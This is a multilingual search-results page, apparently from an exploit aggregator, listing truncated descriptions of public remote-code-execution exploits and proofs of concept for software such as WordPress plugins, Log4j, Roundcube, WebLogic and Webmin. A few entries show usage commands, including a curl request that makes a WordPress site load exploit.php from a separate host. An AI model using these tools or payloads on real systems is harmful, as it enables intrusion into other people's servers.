274136 matches found
CVE-2017-8759
Toolkit per exploit per CVE-2017-8759 Non fare lo stronzo Semplice strumento scritto in C per gestire la vulnerabilità RCE in .NET Framework 2.0, 3.5, 3.5.1, 4.5.2, 4.6, 4.6.1, 4.6.2 e 4.7. noto anche come "Vulnerabilità di esecuzione remota di codice in .NET Framework." Aiuto root@kitploit:...
CVE-2023-0315
CVE-2023-0315 L'exploit ufficiale per l'esecuzione di codice remoto in Froxlor CVE-2023-0315...
CVE-2022-35914
Script in Ruby per la CVE-2022-35914 - RCE in GLPI CVE-2022-35914 Aggiungi semplicemente il Target allo Script. Utilizzo: root@kitploit: ruby.exe exploit.rb = whoami Puoi chiudere con: root@kitploit: = exit...
SSCMS-PluginShell
Installare VisualStudio 2. Importare il progetto 3. Modificare il valore IPAddress.Parse nel file Startup.cs root@kitploit: using Microsoft.Extensions.DependencyInjection; using SSCMS.Advertisement.Abstractions; using SSCMS.Advertisement.Core; using SSCMS.Plugins; using System.Diagnostics; using...
CVE-2012-2982
CVE-2012-2982 John Hammond | 4 settembre 2021 Controllando searchsploit per Webmin 1.580 ho visto solo un modulo Metasploit per l'attacco di esecuzione remota di codice su /file/show.cgi in quella versione legacy di Webmin. Questo codice è un tentativo di ricrearlo in Python senza usare Metasploi...
CVE-2019-9978
CVE-2019-9978 - Social Warfare WordPress-Plugin RCE RCE auf einem Social Warfare WordPress-Plugin ohne vorherige Authentifizierung Proof of Concept root@kitploit: curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php Anfälliger Code :...
CVE-2019-15029
CVE-2019-15029 Il codice exploit ufficiale per FusionPBX v4.4.8 Remote Code Execution CVE-2019-15029 Modulo Metasploit Ho scritto un semplice modulo Metasploit per sfruttare questo problema fusionpbxservices.rb, devi solo scaricarlo e copiarlo nella directory dei moduli di Metasploit...
CVE-2024-9593
CVE-2024-9593 Time Clock = 1.2.2 & Time Clock Pro = 1.1.4 - Nicht authentifizierte eingeschränkte Remote-Code-Ausführung Beschreibung: Das Time Clock Plugin und das Time Clock Pro Plugin für WordPress sind anfällig für Remote-Code-Ausführung in Versionen bis einschließlich 1.2.2 für Time Clock un...
CVE-2024-4040
CVE-2024-4040 Una vulnerabilità di server side template injection in CrushFTP in tutte le versioni precedenti alla 10.7.1 e alla 11.1.0 su tutte le piattaforme consente a utenti remoti non autenticati di leggere file dal filesystem al di fuori della VFS Sandbox, aggirare l'autenticazione per...
CVE-2025-68613-Python-Exploit
CVE-2025-68613: RCE im n8n Workflow-Ausdruck Proof of Concept PoC Exploit für eine kritische Remote Code Execution-Schwachstelle in der n8n Workflow-Automationsplattform. Beschreibung Die Schwachstelle befindet sich im n8n-Ausdrucksauswertungssystem. Von Benutzern bereitgestellte Ausdrücke werden...
CVE-2025-14558
CVE-2025-14558 FreeBSD rtsold DNSSL Iniezione di comandi RCE Descrizione rtsold8 non valida i nomi di dominio DNSSL per la presenza di metacaratteri di shell prima di passarli a resolvconf8. La sostituzione di comandi tramite $ consente l'esecuzione remota di codice da una rete adiacente...
CVE-2018-14667-poc
CVE-2018-14667-poc Ambiente di vulnerabilità Richfaces e PoC Ambiente di test: il file war nella cartella vulenvironment può essere direttamente inserito in tomcat PoC root@kitploit: build:build artifactId run:java -jar CVE-2018-14667-poc.jar "cmd" Informazioni sul debug Decomprimere il file war...
CVE-2025-49113
CVE-2025-49113 Roundcube Exploit Ein Python-Exploit für CVE-2025-49113, der eine Sicherheitslücke in Roundcube Webmail ausnutzt, die durch PHP-Objekt-Deserialisierung eine Remote-Code-Ausführung ermöglicht. Übersicht Dieser Exploit nutzt eine Deserialisierungssicherheitslücke in Roundcubes...
CVE-2021-41773
CVE-2021-41773 — PoC: Path Traversal + RCE via modcgi Nur für den Einsatz in kontrollierten und eigenen Umgebungen. Nicht gegen Systeme ohne Autorisierung verwenden. Beschreibung PoC entwickelt, um die Schwachstelle CVE-2021-41773 in Apache HTTP Server 2.4.49 zu demonstrieren und zu verstehen. De...
log4j-shell-csw
Exploit Semplice per Log4j Un Exploit Proof-of-Concept per la vulnerabilità CVE-2021-44228. Log4j, che viene utilizzato per registrare informazioni di sicurezza e prestazioni, ha un impatto su oltre 3 miliardi di dispositivi che utilizzano Java in una varietà di servizi consumer e aziendali, siti...
Graver
Graver Descrizione Script Proof of Concept per sfruttare la SSTI+RCE autenticata in Grav CMS CVE-2024-28116. Crea una pagina RCE malevola sul server che esegue il Grav CMS vulnerabile. Riferimenti: https://nvd.nist.gov/vuln/detail/CVE-2024-28116 Note Poiché è una vulnerabilità autenticata, è...
weblogic_wls_wsat_rce
weblogicwlswsatrce Script de exploração da vulnerabilidade de desserialização do componente wls-wsat do Weblogic CVE-2017-10271, modificado com base emhttps://github.com/s3xy/CVE-2017-10271. Execução de comandos com exibição da saída Upload direto de shell Testado OK no Weblogic 10.3.6.0 em Linux...
VTIGER-CRM-RCE-CVE-2026-23698
Este repositorio nao tem um README...
CVE-2021-44228-log4jVulnScanner-metasploit
CVE-2021-44228-log4jVulnScanner-metasploit ferramenta aberta de detecção e varredura para descobrir e fazer fuzzing da vulnerabilidade Log4J RCE CVE-2021-44228 preparação POC root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-44228-log4jVulnScanner-metasploit cd...